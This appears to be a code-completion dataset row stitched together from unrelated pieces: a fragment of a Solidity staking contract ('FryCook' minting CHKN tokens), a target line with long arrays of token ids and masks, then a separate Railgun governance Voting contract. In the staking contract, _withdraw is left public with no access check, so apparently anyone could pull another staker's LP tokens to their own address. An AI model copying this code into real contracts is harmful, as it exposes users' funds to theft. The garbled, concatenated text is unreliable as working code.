uint256 earlyBirdMult; // Early bird bonus multiplier, scaled by EARLY_BIRD_PRECISION
bool earlyBird; // Does the score include an early bird bonus?
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CHKNs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.score * pool.accChickenPerScore) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accChickenPerScore` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` and `score` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Access Control Roles. This is the FryCook, but there's other jobs in the kitchen.
bytes32 public constant EXECUTIVE_ROLE = keccak256("EXECUTIVE_ROLE"); // aka owner: determines other roles
bytes32 public constant HEAD_CHEF_ROLE = keccak256("HEAD_CHEF_ROLE"); // governance: token pool changes, control over agent list
bytes32 public constant SOUS_CHEF_ROLE = keccak256("SOUS_CHEF_ROLE"); // pool spiciness tweaks: can change allocation points for pools
bytes32 public constant WAITSTAFF_ROLE = keccak256("WAITSTAFF_ROLE"); // token agent(s): can make deposits / withdrawals on behalf of stakers
// The CHKN TOKEN!
ChickenToken public chicken;
uint256 public chickenCap;
// Dev address.
address public devaddr;
// Block number when bonus CHKN stage ends (staged decline to no bonus).
uint256 public bonusStage2Block;
uint256 public bonusStage3Block;
uint256 public bonusStage4Block;
uint256 public bonusEndBlock;
// CHKN tokens created per block.
uint256 public chickenPerBlock;
// Bonus muliplier for early chicken makers.
uint256 public constant BONUS_MULTIPLIER_STAGE_1 = 20;
uint256 public constant BONUS_MULTIPLIER_STAGE_2 = 15;
uint256 public constant BONUS_MULTIPLIER_STAGE_3 = 10;
uint256 public constant BONUS_MULTIPLIER_STAGE_4 = 5;
// Block number when dev share declines (staged decline to lowest share).
uint256 public devBonusStage2Block;
uint256 public devBonusStage3Block;
uint256 public devBonusStage4Block;
uint256 public devBonusEndBlock;
// Dev share divisor for each bonus stage.
uint256 public constant DEV_DIV_STAGE_1 = 10; // 10%
uint256 public constant DEV_DIV_STAGE_2 = 12; // 8.333..%
uint256 public constant DEV_DIV_STAGE_3 = 16; // 6.25%
uint256 public constant DEV_DIV_STAGE_4 = 25; // 4%
uint256 public constant DEV_DIV = 50; // 2%
// Precision values
uint256 public constant EARLY_BIRD_PRECISION = 1e12;
uint256 public constant ACC_CHICKEN_PRECISION = 1e12;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
ICookMigrator public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
mapping (address => uint256) public tokenPid;
mapping (address => bool) public hasToken;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CHKN mining starts.
uint256 public startBlock;
event Deposit(address indexed staker, address indexed funder, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed staker, address indexed agent, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
ChickenToken _chicken,
address _devaddr,
uint256 _chickenPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _devBonusEndBlock
) public {
chicken = _chicken;
devaddr = _devaddr;
chickenPerBlock = _chickenPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
devBonusEndBlock = _devBonusEndBlock;
// calculate mint bonus stage blocks (block-of-transition from 20x to 15x, etc.)
uint256 bonusStep = bonusEndBlock.sub(startBlock).div(4);
bonusStage2Block = bonusStep.add(startBlock);
bonusStage3Block = bonusStep.mul(2).add(startBlock);
bonusStage4Block = bonusStep.mul(3).add(startBlock);
// calculate dev divisor stage blocks
uint256 devBonusStep = devBonusEndBlock.sub(startBlock).div(4);
devBonusStage2Block = devBonusStep.add(startBlock);
devBonusStage3Block = devBonusStep.mul(2).add(startBlock);
devBonusStage4Block = devBonusStep.mul(3).add(startBlock);
// set up initial roles (caller is owner and manager). The caller
// CANNOT act as waitstaff; athough they can add and modify pools,
// they CANNOT touch user deposits. Nothing but another smart contract
// should ever be waitstaff.
_setupRole(EXECUTIVE_ROLE, msg.sender); // can manage other roles and link contracts
_setupRole(HEAD_CHEF_ROLE, msg.sender); // can create and alter pools
// set up executives as role administrators.
// after initial setup, all roles are expected to be served by other contracts
// (e.g. Timelock, GovernorAlpha, etc.)
_setRoleAdmin(EXECUTIVE_ROLE, EXECUTIVE_ROLE);
_setRoleAdmin(HEAD_CHEF_ROLE, EXECUTIVE_ROLE);
_setRoleAdmin(SOUS_CHEF_ROLE, EXECUTIVE_ROLE);
_setRoleAdmin(WAITSTAFF_ROLE, EXECUTIVE_ROLE);
// store so we never have to query again
chickenCap = chicken.cap();
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by a manager.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
uint256 _earlyBirdMinShares,
uint256 _earlyBirdInitialBonus,
uint256 _earlyBirdGraceEndBlock,
uint256 _earlyBirdHalvingBlocks,
bool _withUpdate
) public {
require(hasRole(HEAD_CHEF_ROLE, msg.sender), "FryCook::add: not authorized");
require(!hasToken[address(_lpToken)], "FryCook::add: lpToken already added");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
hasToken[address(_lpToken)] = true;
tokenPid[address(_lpToken)] = poolInfo.length;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
earlyBirdMinShares: _earlyBirdMinShares,
earlyBirdExtra: _earlyBirdInitialBonus.sub(1), // provided as multiplier: 100x. Declines to 1x, so "99" extra.
earlyBirdGraceEndBlock: _earlyBirdGraceEndBlock,
earlyBirdHalvingBlocks: _earlyBirdHalvingBlocks,
lastRewardBlock: lastRewardBlock,
totalScore: 0,
accChickenPerScore: 0
}));
}
// Update the given pool's CHKN allocation point. Can only be called by a manager.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public {
require(hasRole(HEAD_CHEF_ROLE, msg.sender) || hasRole(SOUS_CHEF_ROLE, msg.sender), "FryCook::set: not authorized");
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by a manager.
function setMigrator(ICookMigrator _migrator) public {
require(hasRole(EXECUTIVE_ROLE, msg.sender), "FryCook::setMigrator: not authorized");
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "FryCook::migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "FryCook::migrate: bad");
pool.lpToken = newLpToken;
tokenPid[address(newLpToken)] = _pid;
hasToken[address(newLpToken)] = true;
tokenPid[address(lpToken)] = 0;
hasToken[address(lpToken)] = false;
}
// Return the number of blocks intersecting between the two ranges.
// Assumption: _from <= _to, _from2 <= _to2.
function getIntersection(uint256 _from, uint256 _to, uint256 _from2, uint256 _to2) public pure returns (uint256) {
if (_to <= _from2) {
return 0;
} else if (_to2 <= _from) {
return 0;
} else {
return Math.min(_to, _to2).sub(Math.max(_from, _from2));
}
}
// Return CHKN reward (mint) multiplier over the given range, _from to _to block.
// Multiply against chickenPerBlock to determine the total amount minted
// during that time (not including devaddr share). Ignores "startBlock".
// Assumption: _from <= _to. Otherwise get weird results.
function getMintMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_from >= bonusEndBlock) { // no bonus
return _to.sub(_from);
} else { // potentially intersect four bonus periods and/or "no bonus"
uint256 mult = 0;
mult = mult.add(getIntersection(_from, _to, 0, bonusStage2Block).mul(BONUS_MULTIPLIER_STAGE_1));
mult = mult.add(getIntersection(_from, _to, bonusStage2Block, bonusStage3Block).mul(BONUS_MULTIPLIER_STAGE_2));
mult = mult.add(getIntersection(_from, _to, bonusStage3Block, bonusStage4Block).mul(BONUS_MULTIPLIER_STAGE_3));
mult = mult.add(getIntersection(_from, _to, bonusStage4Block, bonusEndBlock).mul(BONUS_MULTIPLIER_STAGE_4));
mult = mult.add(Math.max(_to, bonusEndBlock).sub(bonusEndBlock)); // known: _from < bonusEndBlock
return mult;
}
}
// Returns the divisor to determine the developer's share of coins at the
// given block. For M coins minted, dev gets M.div(_val_). For a block range,
// undershoot by providing _to block (dev gets up to, not over, the bonus amount).
function getDevDivisor(uint256 _block) public view returns (uint256) {
if (_block >= devBonusEndBlock) {
return DEV_DIV;
} else if (_block >= devBonusStage4Block) {
return DEV_DIV_STAGE_4;
} else if (_block >= devBonusStage3Block) {
return DEV_DIV_STAGE_3;
} else if (_block >= devBonusStage2Block) {
return DEV_DIV_STAGE_2;
} else {
return DEV_DIV_STAGE_1;
}
}
// Returns the score multiplier for an early bird investor who qualifies
// at _block for _pid. The investment quantity and min threshold are not
// checked; qualification is a precondition.
// The output is scaled by EARLY_BIRD_PRECISION; e.g. a return value of
// 1.5 * EARLY_BIRD_PRECISION indicates a multiplier of 1.5x.
function getEarlyBirdMultiplier(uint256 _block, uint256 _pid) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
uint256 decliningPortion = pool.earlyBirdExtra.mul(EARLY_BIRD_PRECISION);
if (_block <= pool.earlyBirdGraceEndBlock) {
return decliningPortion.add(EARLY_BIRD_PRECISION);
}
uint256 distance = _block.sub(pool.earlyBirdGraceEndBlock);
uint256 halvings = distance.div(pool.earlyBirdHalvingBlocks); // whole number
if (halvings >= 120) { // asymptotic, up to a point
return EARLY_BIRD_PRECISION; // 1x
}
// approximate exponential decay with linear interpolation between integer exponents
uint256 progress = distance.sub(halvings.mul(pool.earlyBirdHalvingBlocks));
uint256 divisor = (2 ** halvings).mul(1e8); // scaled once for precision
uint256 nextDivisor = (2 ** (halvings.add(1))).mul(1e8); // scaled once for precision
uint256 diff = nextDivisor.sub(divisor);
uint256 alpha = progress.mul(1e8).div(pool.earlyBirdHalvingBlocks); // scaled once for precision
divisor = divisor.add(diff.mul(alpha).div(1e8)); // unscale alpha after mult. to keep precision
// divisor is scaled up; scale up declining portion by same amount before division
return decliningPortion.mul(1e8).div(divisor).add(EARLY_BIRD_PRECISION);
}
// View function to see pending CHKNs on frontend.
function pendingChicken(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accChickenPerScore = pool.accChickenPerScore;
uint256 totalScore = pool.totalScore;
if (block.number > pool.lastRewardBlock && totalScore != 0) {
uint256 multiplier = getMintMultiplier(pool.lastRewardBlock, block.number);
uint256 chickenReward = multiplier.mul(chickenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accChickenPerScore = accChickenPerScore.add(chickenReward.mul(ACC_CHICKEN_PRECISION).div(totalScore));
}
return user.score.mul(accChickenPerScore).div(ACC_CHICKEN_PRECISION).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 totalScore = pool.totalScore;
if (totalScore == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMintMultiplier(pool.lastRewardBlock, block.number);
uint256 chickenReward = multiplier.mul(chickenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
uint256 devReward = chickenReward.div(getDevDivisor(block.number));
uint256 supply = chicken.totalSupply();
// safe mint: don't exceed supply
if (supply.add(chickenReward).add(devReward) > chickenCap) {
chickenReward = chickenCap.sub(supply);
devReward = 0;
}
chicken.mint(address(this), chickenReward);
chicken.mint(devaddr, devReward);
pool.accChickenPerScore = pool.accChickenPerScore.add(chickenReward.mul(ACC_CHICKEN_PRECISION).div(totalScore));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to FryCook for CHKN allocation. Deposit 0 to bump a pool update.
function deposit(uint256 _pid, uint256 _amount) public {
_deposit(_pid, _amount, msg.sender, msg.sender);
}
// Deposit LP tokens on behalf of another user.
function depositTo(uint256 _pid, uint256 _amount, address _staker) public {
require(hasRole(WAITSTAFF_ROLE, msg.sender), "FryCook::depositTo: not authorized");
_deposit(_pid, _amount, _staker, msg.sender);
}
// Handle deposits, whether agent-driven or user-initiated.
function _deposit(uint256 _pid, uint256 _amount, address _staker, address _funder) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_staker];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.score.mul(pool.accChickenPerScore).div(ACC_CHICKEN_PRECISION).sub(user.rewardDebt);
if (pending > 0) {
safeChickenTransfer(_staker, pending);
}
} else {
user.earlyBirdMult = EARLY_BIRD_PRECISION; // equiv. to 1x
}
// transfer LP tokens; update user info
if (_amount > 0) {
pool.lpToken.safeTransferFrom(_funder, address(this), _amount);
uint256 oldScore = user.score;
user.amount = user.amount.add(_amount);
if (!user.earlyBird && user.amount >= pool.earlyBirdMinShares) {
user.earlyBird = true;
user.earlyBirdMult = getEarlyBirdMultiplier(block.number, _pid); // scaled
}
user.score = user.amount.mul(user.earlyBirdMult).div(EARLY_BIRD_PRECISION); // unscale
pool.totalScore = pool.totalScore.add(user.score).sub(oldScore);
}
// update dept regardless of whether score changes or deposit is > 0
user.rewardDebt = user.score.mul(pool.accChickenPerScore).div(ACC_CHICKEN_PRECISION);
emit Deposit(_staker, _funder, _pid, _amount);
}
// Withdraw staked LP tokens from FryCook. Also transfers pending chicken.
function withdraw(uint256 _pid, uint256 _amount) public {
_withdraw(_pid, _amount, address(msg.sender), address(msg.sender));
}
// Withdraw a user's staked LP tokens as an agent. Also transfers pending
// chicken (to the staking user, NOT the agent).
function withdrawFrom(uint256 _pid, uint256 _amount, address _staker) public {
require(hasRole(WAITSTAFF_ROLE, msg.sender), "FryCook::withdrawFrom: not authorized");
_withdraw(_pid, _amount, _staker, address(msg.sender));
}
// Withdraw LP tokens from FryCook to the agent. Staked chicken
// goes to the _staker. We don't support deferred CHKN transfers; every time
// a deposit or withdrawal happens, pending CHKN must be transferred or
// the books aren't kept clean.
function _withdraw(uint256 _pid, uint256 _amount, address _staker, address _agent) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_staker];
require(user.amount >= _amount, "FryCook::withdraw: not good");
updatePool(_pid);
uint256 pending = user.score.mul(pool.accChickenPerScore).div(ACC_CHICKEN_PRECISION).sub(user.rewardDebt);
if (pending > 0) {
safeChickenTransfer(_staker, pending);
}
// update user info
if (_amount > 0) {
uint256 oldScore = user.score;
user.amount = user.amount.sub(_amount);
if (user.earlyBird && user.amount < pool.earlyBirdMinShares) {
user.earlyBird = false;
user.earlyBirdMult = EARLY_BIRD_PRECISION;
}
user.score = user.amount.mul(user.earlyBirdMult).div(EARLY_BIRD_PRECISION); // unscale
pool.lpToken.safeTransfer(_agent, _amount);
pool.totalScore = pool.totalScore.add(user.score).sub(oldScore);
}
// update reward debt regardless of whether score changed, since debt may have
user.rewardDebt = user.score.mul(pool.accChickenPerScore).div(ACC_CHICKEN_PRECISION);
emit Withdraw(_staker, _agent, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
pool.totalScore = pool.totalScore.sub(user.score);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.earlyBird = false;
user.earlyBirdMult = EARLY_BIRD_PRECISION;
user.score = 0;
user.rewardDebt = 0;
}
// Safe chicken transfer function, just in case if rounding error causes pool to not have enough CHKNs.
function safeChickenTransfer(address _to, uint256 _amount) internal {
uint256 chickenBal = chicken.balanceOf(address(this));
if (_amount > chickenBal) {
chicken.transfer(_to, chickenBal);
} else {
chicken.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "FryCook::dev: wut?");
devaddr = _devaddr;
}
} | scaled once for precision
| uint256 divisor = (2 ** halvings).mul(1e8); | 14,410,111 | [
1,
20665,
3647,
364,
6039,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
15013,
273,
261,
22,
2826,
19514,
90,
899,
2934,
16411,
12,
21,
73,
28,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
// OpenZeppelin v4
import { Staking } from "./Staking.sol";
import { Delegator } from "./Delegator.sol";
/**
* @title Voting
* @author Railgun Contributors
* @notice Governance contract for railgun, handles voting.
*/
contract Voting {
// Time offsets from publish time, offset times are relative to voteCallTime
uint256 public constant SPONSOR_WINDOW = 30 days;
uint256 public constant VOTING_START_OFFSET = 2 days; // Should be > interval size of staking snapshots
uint256 public constant VOTING_YAY_END_OFFSET = 5 days;
uint256 public constant VOTING_NAY_END_OFFSET = 6 days;
uint256 public constant EXECUTION_START_OFFSET = 7 days;
uint256 public constant EXECUTION_END_OFFSET = 14 days;
// Threshold constants
uint256 public constant QUORUM = 4000000e18; // 4 million, 18 decimal places
uint256 public constant PROPOSAL_SPONSOR_THRESHOLD = 1000000e18; // 1 million, 18 decimal places
// Proposal has been created
event Proposal(uint256 indexed id, address indexed proposer);
// Proposal has been sponsored
event Sponsorship(uint256 indexed id, address indexed sponsor, uint256 amount);
// Proposal has been unsponsored
event SponsorshipRevocation(uint256 indexed id, address indexed sponsor, uint256 amount);
// Proposal vote called
event VoteCall(uint256 indexed id);
// Vote cast on proposal
event VoteCast(uint256 indexed id, address indexed voter, bool affirmative, uint256 votes);
// Proposal executed
event Execution(uint256 indexed id);
// Function call
struct Call {
address callContract;
bytes data;
uint256 value;
}
// Governance proposals
struct ProposalStruct {
// Proposal Data
address proposer;
string proposalDocument; // IPFS hash
Call[] actions;
// Event timestamps
uint256 publishTime;
uint256 voteCallTime; // If vote call time is 0, proposal hasn't gone to vote
// Sponsorship info
uint256 sponsorship;
mapping(address => uint256) sponsors;
// Execution status
bool executed;
// Vote data
// Amount of voting power used for accounts, used for fractional voting from contracts
mapping(address => uint256) voted;
uint256 yayVotes;
uint256 nayVotes;
// Staking snapshots
uint256 sponsorInterval;
uint256 votingInterval;
}
// Proposals id => proposal data
ProposalStruct[] public proposals;
/* solhint-disable var-name-mixedcase */
Staking public immutable STAKING_CONTRACT;
Delegator public immutable DELEGATOR_CONTRACT;
/* solhint-enable var-name-mixedcase */
/**
* @notice Sets governance token ID and delegator contract
*/
constructor(Staking _stakingContract, Delegator _delegator) {
STAKING_CONTRACT = _stakingContract;
DELEGATOR_CONTRACT = _delegator;
}
/**
* @notice Gets length of proposals array
* @return length
*/
function proposalsLength() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets actions from proposal document
* @dev Gets actions from proposal as nested arrays won't be returned on public getter
* @param _id - Proposal to get actions of
* @return actions
*/
function getActions(uint256 _id) external view returns (Call[] memory) {
return proposals[_id].actions;
}
/**
* @notice Gets sponsor amount an account has given to a proposal
* @dev Gets actions from proposal as mappings wont be returned on public getter
* @param _id - Proposal to get sponsor amount of
* @param _account - Account to get sponsor amount for
* @return sponsor amount
*/
function getSponsored(uint256 _id, address _account) external view returns (uint256) {
return proposals[_id].sponsors[_account];
}
/**
* @notice Creates governance proposal
* @param _proposalDocument - IPFS multihash of proposal document
* @param _actions - actions to take
*/
function createProposal(string calldata _proposalDocument, Call[] calldata _actions) external returns (uint256) {
// Don't allow proposals with no actions
require(_actions.length > 0, "Voting: No actions specified");
uint256 proposalID = proposals.length;
ProposalStruct storage proposal = proposals.push();
// Store proposer
proposal.proposer = msg.sender;
// Store proposal document
proposal.proposalDocument = _proposalDocument;
// Store published time
proposal.publishTime = block.timestamp;
// Store sponsor voting snapshot interval
proposal.sponsorInterval = STAKING_CONTRACT.currentInterval();
// Loop over actions and copy manually as solidity doesn't support copying structs
for (uint256 i = 0; i < _actions.length; i++) {
proposal.actions.push(Call(
_actions[i].callContract,
_actions[i].data,
_actions[i].value
));
}
// Emit event
emit Proposal(proposalID, msg.sender);
return proposalID;
}
/**
* @notice Sponsor proposal
* @param _id - id of proposal to sponsor
* @param _amount - amount to sponsor with
* @param _hint - hint for snapshot search
*/
function sponsorProposal(uint256 _id, uint256 _amount, uint256 _hint) external {
ProposalStruct storage proposal = proposals[_id];
// Check proposal hasn't already gone to vote
require(proposal.voteCallTime == 0, "Voting: Gone to vote");
// Check proposal is still in sponsor window
require(block.timestamp < proposal.publishTime + SPONSOR_WINDOW, "Voting: Sponsoring window passed");
// Get address sponsor voting power
Staking.AccountSnapshot memory snapshot = STAKING_CONTRACT.accountSnapshotAt(
msg.sender,
proposal.sponsorInterval,
_hint
);
// Can't sponsor with more than voting power
require(proposal.sponsors[msg.sender] + _amount <= snapshot.votingPower, "Voting: Not enough voting power");
// Update address sponsorship amount on proposal
proposal.sponsors[msg.sender] += _amount;
// Update sponsor total
proposal.sponsorship += _amount;
// Emit event
emit Sponsorship(_id, msg.sender, _amount);
}
/**
* @notice Unsponsor proposal
* @param _id - id of proposal to sponsor
* @param _amount - amount to sponsor with
*/
function unsponsorProposal(uint256 _id, uint256 _amount) external {
ProposalStruct storage proposal = proposals[_id];
// Check proposal hasn't already gone to vote
require(proposal.voteCallTime == 0, "Voting: Gone to vote");
// Check proposal is still in sponsor window
require(block.timestamp < proposal.publishTime + SPONSOR_WINDOW, "Voting: Sponsoring window passed");
// Can't unsponsor more than sponsored
require(_amount <= proposal.sponsors[msg.sender], "Voting: Amount greater than sponsored");
// Update address sponsorship amount on proposal
proposal.sponsors[msg.sender] -= _amount;
// Update sponsor total
proposal.sponsorship -= _amount;
// Emit event
emit SponsorshipRevocation(_id, msg.sender, _amount);
}
/**
* @notice Call vote
* @param _id - id of proposal to call to vote
*/
function callVote(uint256 _id) external {
ProposalStruct storage proposal = proposals[_id];
// Check proposal hasn't exceeded sponsor window
require(block.timestamp < proposal.publishTime + SPONSOR_WINDOW, "Voting: Sponsoring window passed");
// Check proposal hasn't already gone to vote
require(proposal.voteCallTime == 0, "Voting: Proposal already gone to vote");
// Proposal must meet sponsorship threshold
require(proposal.sponsorship >= PROPOSAL_SPONSOR_THRESHOLD, "Voting: Sponsor threshold not met");
// Log vote time (also marks proposal as ready to vote)
proposal.voteCallTime = block.timestamp;
// Log governance token snapshot interval
// VOTING_START_OFFSET must be greater than snapshot interval of governance token for this to work correctly
proposal.votingInterval = STAKING_CONTRACT.currentInterval();
// Emit event
emit VoteCall(_id);
}
/**
* @notice Vote on proposal
* @param _id - id of proposal to call to vote
* @param _amount - amount of voting power to allocate
* @param _affirmative - whether to vote yay (true) or nay (false) on this proposal
* @param _hint - hint for snapshot search
*/
function vote(uint256 _id, uint256 _amount, bool _affirmative, uint256 _hint) external {
ProposalStruct storage proposal = proposals[_id];
// Check vote has been called
require(proposal.voteCallTime > 0, "Voting: Vote hasn't been called for this proposal");
// Check Voting window has opened
require(block.timestamp > proposal.voteCallTime + VOTING_START_OFFSET, "Voting: Voting window hasn't opened");
// Check voting window hasn't closed (voting window length conditional on )
if(_affirmative) {
require(block.timestamp < proposal.voteCallTime + VOTING_YAY_END_OFFSET, "Voting: Affirmative voting window has closed");
} else {
require(block.timestamp < proposal.voteCallTime + VOTING_NAY_END_OFFSET, "Voting: Negative voting window has closed");
}
// Get address voting power
Staking.AccountSnapshot memory snapshot = STAKING_CONTRACT.accountSnapshotAt(
msg.sender,
proposal.votingInterval,
_hint
);
// Check address isn't voting with more voting power than it has
require(proposal.voted[msg.sender] + _amount <= snapshot.votingPower, "Voting: Not enough voting power to cast this vote");
// Update account voted amount
proposal.voted[msg.sender] += _amount;
// Update voting totals
if (_affirmative) {
proposal.yayVotes += _amount;
} else {
proposal.nayVotes += _amount;
}
// Emit event
emit VoteCast(_id, msg.sender, _affirmative, _amount);
}
/**
* @notice Execute proposal
* @param _id - id of proposal to execute
*/
function executeProposal(uint256 _id) external {
ProposalStruct storage proposal = proposals[_id];
// Check proposal has been called to vote
require(proposal.voteCallTime > 0, "Voting: Vote hasn't been called for this proposal");
// Check quorum has been reached
require(proposal.yayVotes + proposal.nayVotes >= QUORUM, "Voting: Quorum hasn't been reached");
// Check vote passed
require(proposal.yayVotes > proposal.nayVotes, "Voting: Proposal hasn't passed vote");
// Check we're in execution window
require(block.timestamp > proposal.voteCallTime + EXECUTION_START_OFFSET, "Voting: Execution window hasn't opened");
require(block.timestamp < proposal.voteCallTime + EXECUTION_END_OFFSET, "Voting: Execution window has closed");
// Check proposal hasn't been executed before
require(!proposal.executed, "Voting: Proposal has already been executed");
// Mark proposal as executed
proposal.executed = true;
Call[] storage actions = proposal.actions;
// Loop over actions and execute
for (uint256 i = 0; i < actions.length; i++) {
// Execute action
(bool successful, bytes memory returnData) = DELEGATOR_CONTRACT.callContract(
actions[i].callContract,
actions[i].data,
actions[i].value
);
// If an action fails to execute, catch and bubble up reason with revert
if (!successful) {
bytes memory revertData = abi.encode(i, returnData);
// solhint-disable-next-line no-inline-assembly
assembly {
revert (add (32, revertData), mload (revertData))
}
}
}
// Emit event
emit Execution(_id);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
// OpenZeppelin v4
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
